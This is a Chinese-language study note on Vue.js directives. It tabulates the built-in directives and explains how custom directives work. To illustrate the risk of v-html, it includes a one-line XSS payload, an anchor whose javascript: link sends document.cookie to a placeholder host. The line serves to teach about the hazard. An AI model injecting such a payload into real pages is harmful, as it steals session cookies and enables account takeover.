内置指令:
v-bind | 单向绑定,v-bind:xxx 可简写为 :xxx |
v-model | 双向绑定,一般用于表单类元素 |
v-for | 用于遍历数组、对象、字符串等 |
v-on | 给元素绑定事件,v-on:click 可简写为 @click |
v-if | 控制节点是否存在 |
v-else(-if) | 控制节点是否存在,与 if 连用,与条件判断用法一致。 |
v-show | 控制节点是否显示(节点本身仍存在) |
v-text | 相当于 innerText |
v-html | 相当于 innerHTML,可解析 HTML 元素(有风险) |
v-cloak | 在 vue 实例加载后即消失,用于与 css 配合 vue 加载前的效果 |
v-once | 当前元素用到的 vue 中的数据加载后保持初始值,即不会有响应式效果 |
v-pre | 跳过当前节点的编译,适用于没有使用插值语法的节点 |
v-html 指令存在的风险:
一般来说,网站的免登录操作主要是通过 cookie 验证的。cookie 来自于服务端,一般是通过身份验证等操作后传递到浏览器。浏览器可以通过 cookie 这一唯一标识向服务端发出请求并经过后端的校验后返回结果。所以 cookie 起到了身份验证的作用。
我们可以通过 document.cookie 从浏览器获取当前网页获取到的 cookie ,理论上来说,只要获得了完整的 cookie 就可以不经过身份验证而登录某个账号。
依照 v-html 的作用,可以向别的页面直接发送当前页面的内容或 cookie ,这样就存在安全问题。
<a href=javascript:location.href="www.xxx.com?"+document.cookie>xxx</a>
上述操作即可以向 www.xxx.com 以参数的形式发送当前页面的 cookie 。
自定义指令:
添加自定义指令是 Vue 中少有的直接操作 DOM 的操作,类似于封装函数。
自定义指令有利用函数、利用对象两种方式,均写在 directives 中。
directives: {
demo1(element, binding) {
},
demo2: {
bind(element, binding) {
},
inserted(element, binding) {
},
update(element, binding) {
}
}
}
函数式:参数1为当前元素节点(真实DOM),可直接操作,参数2为当前指令的一些属性。
expression | 当前指令绑定 Vue 的数据的属性名 |
name | 当前指令的名字 不带 v- |
rawName | 当前指令的名字 带 v- ,如 v-demo |
value | 当前指令绑定 Vue 的数据的属性值 |
函数被调用的时刻:1.指令与元素绑定时 2.指令所在的模板被重新解析时
对象式:分为多个函数,代表不同时刻调用不同函数
bind() | 指令与元素绑定时调用 |
inserted() | 指令绑定的元素被加载到页面时调用 |
update() | 指令所在的模板被重新解析时调用 |